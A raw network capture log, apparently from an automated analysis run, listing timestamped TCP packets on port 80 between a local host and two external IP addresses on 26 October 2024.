Oct 26, 2024 05:54:51.849222898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.849267006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:51.849273920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.849306107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.849350929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:51.849426031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.849476099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.849503994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.849520922 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:51.849817038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.849862099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:51.849885941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.849914074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.849956989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:51.869373083 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.869417906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.869436026 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.869458914 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.869465113 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.869497061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.890846014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.890891075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.890928984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.890964985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.891123056 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:51.910876036 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.910919905 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.910955906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.910993099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.911014080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.911183119 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.911210060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.911226034 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.911263943 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.911511898 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.911518097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.911556005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.911591053 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.911695957 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.911696911 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.911696911 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.911792994 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.911847115 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.911864996 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.911883116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.911887884 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.911931992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.911957979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.911993980 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.912009954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.912036896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.929478884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.930001020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.930043936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.930197001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:51.943506956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.943557978 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.943577051 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.943593979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.943614960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.943840981 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.978001118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.978045940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.978082895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.978105068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:51.978118896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.978158951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:51.978565931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.978595972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.978629112 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.978641987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:51.978662968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:51.978698015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:51.984494925 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.984550953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.984558105 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.984586000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:51.984595060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:51.984636068 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.009334087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.009366035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.009428024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.009499073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.009527922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.009577036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.010632038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.010684013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.010720968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.010735035 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.010792017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.010824919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.010835886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.010859013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.010894060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.010904074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.010961056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.011003971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.011014938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.011049032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.011082888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.011090994 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.011116028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.011154890 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.025903940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.026022911 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.026082039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.026132107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.026134968 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.026168108 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.026179075 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.026204109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.026216984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.026246071 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.052217007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.052253008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.052287102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.052305937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.067378998 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.067413092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.067468882 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.067483902 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.067502022 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.067533016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.067559004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.067569017 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.067616940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.067671061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.067718983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.067748070 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.067770004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.067790031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.067991972 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.068043947 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.068044901 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.068078041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.068090916 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.068118095 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.068334103 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.068387985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.068388939 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.068423033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.068435907 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.068464994 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.068717957 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.068769932 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.068770885 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.068823099 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.068837881 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.068872929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.068888903 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.068908930 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.068913937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.068943024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.068952084 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.068993092 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.091883898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.092015028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.092037916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.092071056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.092123985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.099905014 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.099963903 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.099966049 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.100001097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.100016117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.100044012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.139147043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.139183044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.139220953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.139254093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.139487982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.139519930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.139538050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.139611959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.139646053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.139661074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.141140938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.141170979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.141204119 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.141217947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.141227007 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.141256094 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.141271114 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.141298056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.141360998 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.141410112 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.141413927 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.141447067 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.141459942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.141490936 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.170444965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.170475960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.170489073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.170515060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.170548916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.170555115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.171757936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.171787977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.171798944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.171839952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.171868086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.171892881 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.171902895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.171947956 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.171957016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.171986103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.172024965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.172077894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.172131062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.172159910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.172173023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.172297955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.172341108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.172373056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.172405958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.172462940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.172498941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.172564983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.172595024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.172605038 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.183527946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.183583021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.213282108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.213313103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.213331938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.213363886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.213392019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.213402033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.225509882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.225545883 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.225667000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.225667953 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.225667953 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.225702047 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.225716114 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.225737095 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.225744963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.225785017 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.225789070 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.225826979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.225838900 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.225860119 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.225863934 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.225895882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.225899935 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.225939989 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.225991011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.226026058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.226042986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.226064920 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.226547956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.226603031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.226731062 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.226764917 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.226775885 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.226799965 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.226808071 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.226840973 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.226893902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.226937056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.227257967 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.227308989 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.227459908 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.227493048 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.227509975 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.227530003 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.227530956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.227560043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.227586031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.227610111 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.253123045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.253169060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.253196001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.253225088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.253271103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.256557941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.256587029 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.256620884 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.256619930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.256653070 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.256663084 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.256674051 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.256709099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.256726027 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.256742954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.256751060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.256788969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.301527023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.301578999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.301614046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.301630020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.301984072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.302018881 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.302052975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.302160025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.302160025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.335145950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335179090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335201979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335227013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335258007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335289001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.335308075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335309982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.335359097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335362911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.335408926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335447073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335453987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.335480928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335522890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335540056 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.335560083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335594893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335599899 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.335628033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335661888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335671902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.335690975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335726023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.335732937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.374541044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.374587059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.374792099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.374823093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.374857903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:52.374867916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:52.380987883 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.381064892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.381172895 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.381203890 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:52.381223917 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:52.381239891 CEST	80	49745	185.215.113.206	192.168.2.4
